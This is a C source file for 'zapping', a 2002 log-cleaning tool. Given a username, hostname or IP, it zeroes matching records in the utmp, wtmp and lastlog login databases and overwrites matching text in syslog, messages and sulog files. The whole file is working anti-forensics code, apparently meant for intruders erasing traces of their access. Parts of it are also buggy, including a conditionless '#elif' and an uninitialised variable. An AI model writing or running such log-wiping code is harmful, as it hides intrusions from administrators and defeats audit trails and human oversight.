// Matias Sedalo <s0t4ipv6@shellcode.com.ar>
// zapping.c version 0.1

/*
 Clean the logs of the common files in the OS, and search the rest 
 of the files on the PATH defined in the fmt_dirs var on main.
 Without repeating the search of this files in others PATH's.
 It should work on every linux distributions.

 thanks nonickname for my new english.
*/

#include <stdio.h>	// Mem
#include <stdlib.h>
#include <string.h>

#include <sys/types.h>	// Files
#include <sys/stat.h>
#include <fcntl.h>

#include <utmp.h>	// Logs
#include <utmpx.h>
#include <lastlog.h>
#include <pwd.h>

#define	 ZERO		0
#define  POINT		0x2e
#define	 L_FILE		256

#define	 FMT_DIRS	3
#define	 ASC_FILES	5	// this is in the asc_files variable on main
#define	 FMT_FILES	5	// this is in the fmt_files static var

#ifndef  _PATHS_H_
static	char		*fmt_files[FMT_FILES]={ "utmp", "utmpx", "wtmp", "wtmpx", "lastlog" };
#endif
static	int	qu=0;
static	int	norepeat=0;	// i dont want to repeat the pattern search in the _procasc function 

void _use(char *alpha) {
   fprintf (stderr, "zapping v0.1 by s0t4ipv6 <s0t4ipv6@shellcode.com.ar>\nuse: %s [ username | hostname | IP ]\n", alpha);
   exit(1);
   }

int _detect(char *alpha) {
	char	*tok;
	int	sl=ZERO;
	
	if ( (tok = (char *)calloc(4 , sizeof(char))) == NULL )
		{ perror("calloc()"); exit(0); }

	if ( (strchr(alpha, POINT )) != NULL ) {
		memccpy(tok, alpha, POINT , 3);
		sl=1;
		if ( atoi(tok) > 0 && atoi(tok) < 256 ) sl=2;
	} 
	return(sl);
}

int _opend(char *file_tmp) {
	int 	fd_tmp;
	if ( (fd_tmp = open(file_tmp, O_RDWR)) < 0 ) { perror("open()") ; return(-1); }
	return (fd_tmp);
}
	
int _chkchg(char *_aa, char *_bb) {
	if (!strncmp(_aa, _bb, strlen(_bb)) ) {
		if ( qu == 0 ) { qu=1 ; fprintf (stderr, "\tFound! %s", _aa); 
			} else { qu++; }
		return(1);
		} else { 
		return(0); }
}

void _procfmt(char *file, char *patron, int tipe) {
	int	fd, rute, size;
	struct	passwd	*_point;
	struct	utmp	buf_uwtmp;
	struct	utmpx	buf_uwtmpx;
	struct	lastlog	buf_lastlog;

        if ( (strstr(file, "utmpx") != NULL) || (strstr(file, "wtmpx") != NULL) ) {
          size = sizeof(struct utmpx);
          if ( (fd=_opend(file)) > 0 ) {
            fprintf (stderr,"\n> %s:", file);
            while ( (rute=read(fd, &buf_uwtmpx, size)) > 0 ) {
                if ( tipe == 0 ) {
                        if ( _chkchg(buf_uwtmpx.ut_user,patron) ) {
                                memset(&buf_uwtmpx, 0x0, size);
                                lseek(fd, -rute, SEEK_CUR);
                                write(fd, &buf_uwtmpx, size);
                                }
                        }
                if ( tipe == 1 || tipe == 2 ) {
                        if ( _chkchg(buf_uwtmpx.ut_host, patron) ) {
                                memset(&buf_uwtmpx, 0x0, size);
                                lseek(fd, -rute, SEEK_CUR);
                                write(fd, &buf_uwtmpx,size);
                        }
                }
            }
          } 
	  if ( qu != 0 ) { fprintf (stderr, " %d times", qu ); qu = 0 ; }
	  close(fd);
        }

	if ( (strstr(file, "utmp") != NULL) || (strstr(file, "wtmp") != NULL) ) {
	  size = sizeof(struct utmp);
	  if ( (fd=_opend(file)) > 0 ) {
	    fprintf (stderr,"\n> %s:", file);
	    while ( (rute=read(fd, &buf_uwtmp, size)) > 0 ) {
		if ( tipe == 0 ) {
			if ( _chkchg(buf_uwtmp.ut_user,patron) ) {
				memset(&buf_uwtmp, 0x0, size);
				lseek(fd, -rute, SEEK_CUR);
				write(fd, &buf_uwtmp, size);
				}
			}
		if ( tipe == 1 || tipe == 2 ) { 
			if ( _chkchg(buf_uwtmp.ut_host, patron) ) {
				memset(&buf_uwtmp, 0x0, size);
				lseek(fd, -rute, SEEK_CUR);
				write(fd, &buf_uwtmp,size);
			}
	  	}
	    } 
	  } 
	  if ( qu != 0 ) { fprintf (stderr, " %d times", qu ); qu = 0 ; }
	  close(fd);
	}
	
	if ( strstr(file, "lastlog") != NULL ) {
	  size = sizeof(struct lastlog);
          if ( (fd=_opend(file)) > 0 ) {
		fprintf (stderr,"\n> %s:", file);
	  	if ( tipe == 0 ) {
		  if ( (_point = getpwnam(patron)) != NULL ) { 
			fprintf (stderr, "\tFound! %s, uid = %d home = %s", 
					patron, _point->pw_uid,  _point->pw_dir);
			lseek(fd, _point->pw_uid * size, SEEK_SET);
			memset(&buf_lastlog, 0x0, size);
			write(fd, &buf_lastlog, size);
		  	} else { fprintf(stderr, "\t! username not found in %s", file); }
		  } else { fprintf(stderr,"\t! it could be clean with the username argument"); }
          } 
	  close(fd);
	}
}

void _procasc(char *file, char *patron) {
	int	fd, size, f_sz;
	char	*found, *puter;
	struct	stat	filestat;

	size = strlen(patron);
	if ( (puter = found = (char *)malloc(size)) == NULL ) 
		{ perror("malloc()"); exit(0); }

	if ( (fd=_opend(file)) > 0 ) {
		norepeat++;
		stat(file, &filestat);
		while ( (read(fd, found, size)) > 0 ) {
			if ( (puter = strstr(found, patron)) ) {
		                if ( qu == 0 ) { qu=1 ; fprintf (stderr, "\tFound! %s", puter);
               		         } else { qu++; }
				memset(puter, 0x0, size);
				lseek(fd, -size, SEEK_CUR);
				write(fd, puter, size);
			}
			if ( f_sz + size != filestat.st_size) 
				{ f_sz = lseek(fd, -size + 1, SEEK_CUR); }
		}
	} 
        if ( qu != 0 ) { fprintf (stderr, " %d times", qu ); qu = 0 ; }
	close(fd);
}

int main(int argc, char *argv[]) {
	char	*fmt_dirs[FMT_DIRS]=	{ "/usr/adm", "/var/log", "/var/run" };
	char	*asc_files[ASC_FILES]=	{ "notice", "info", "messages", "sulog", "syslog" }; 
	char	*tipo[3]=		{ "username", "hostname", "IP"};

	char	*pattern, chek_file[L_FILE];	
	int	num_type, file_d;
	int	c, i;

	if ( argc < 2 ) _use(argv[0]);

	if ( (pattern=(char *)calloc(strlen(argv[1]), sizeof(char))) == NULL )
		{ perror("calloc()"); exit(0); }
	
	pattern=argv[1];
	num_type = _detect(pattern);
	fprintf (stderr, "\n* Searching %s = '%s' in ...", tipo[num_type], pattern); 
#ifdef	_PATHS_H_
 	_procfmt(_PATH_UTMP, pattern, num_type);
 	_procfmt(_PATH_WTMP, pattern, num_type);
 	_procfmt(_PATH_LASTLOG, pattern, num_type);
/*	_procfmt(_PATH_UTMPX, pattern, num_type);
	_procfmt(_PATH_WTMPX, pattern, num_type); UTMPX???? take a leak in /usr/include/paths.h*/
#elif
	fprintf (stderr,"\t! _PATHS_H_ not defined");
	fprintf(stderr,"\n* Searching in ...");
	for ( i = 0 ; i < FMT_DIRS ; i++) {
		memset(chek_file, 0x0, L_FILE);
		for ( c = 0 ; c < FMT_FILES ; c++) {
			fprintf(stderr,"\n> %s/%s: ", fmt_dirs[i], fmt_files[c]);
			snprintf(chek_file, L_FILE, "%s/%s", fmt_dirs[i], fmt_files[c]);
			_procfmt(chek_file, pattern, num_type);
		}
	}
#endif
	fprintf (stderr,"\n* Searching in ...");
	for ( i = 0 ; i < FMT_DIRS ; i++) {
		memset(chek_file, 0x0, L_FILE);
		for ( c = norepeat ; c < ASC_FILES ; c++) {
			fprintf(stderr,"\n> %s/%s: ", fmt_dirs[i], asc_files[c]);
			snprintf(chek_file, L_FILE, "%s/%s", fmt_dirs[i], asc_files[c]);
			_procasc(chek_file, pattern);
		}
	}
	fprintf(stderr,"\n_EOF\n\n");
	exit(0);
}
// _EOF_ (c) s0t4ipv6 2002

